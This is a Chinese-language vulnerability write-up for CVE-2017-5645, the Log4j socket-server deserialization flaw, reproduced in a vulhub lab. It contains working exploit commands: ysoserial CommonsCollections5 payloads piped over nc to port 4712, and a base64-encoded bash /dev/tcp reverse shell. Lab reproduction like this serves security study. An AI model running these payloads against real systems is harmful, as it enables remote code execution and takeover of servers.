文章目录
说明 | 内容 |
---|---|
漏洞编号 | CVE-2017-5645 |
漏洞名称 | Log4j Server 反序列化命令执行漏洞 |
漏洞评级 | 高危 |
影响范围 | Apache Log4j 2.8.2之前的2.x版本 |
漏洞描述 | |
修复方案 |
1.1、漏洞描述
攻击者可以通过发送一个特别制作的2进制payload,在组件将字节反序列化为对象时,触发并执行构造的payload代码。该漏洞主要是由于在处理ObjectInputStream时,接收函数对于不可靠来源的input没有过滤。可以通过给TcpSocketServer和UdpSocketServer添加可配置的过滤功能以及一些相关设置,可以有效的解决该漏洞。
1.2、漏洞等级
漏洞危害评分:7.5,攻击者可利用该漏洞执行任意代码。
1.3、影响版本
Apache Log4j 2.8.2之前的2.x版本
1.4、漏洞复现
1、基础环境
kali环境IP地址:192.168.8.8
Path:vulhub/log4j/CVE-2017-5645
启动测试环境:
sudo docker-compose up -d
2、漏洞扫描
3、漏洞验证
扫描目标开启的端口
下载打包好的jar文件到我们的kali主机上
进行利用,先创建一个文件,来进行测试
java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/saury" | nc 192.168.8.8 4712
1.5、深度利用
1、反弹Shell
bash -i >& /dev/tcp/192.168.8.8/6868 0>&1
将反弹shell进行base64编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjguOC82ODY4IDA+JjE=
shell反弹
java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjguOC82ODY4IDA+JjE=}|{base64,-d}|{bash,-i}" | nc 192.168.8.8 4712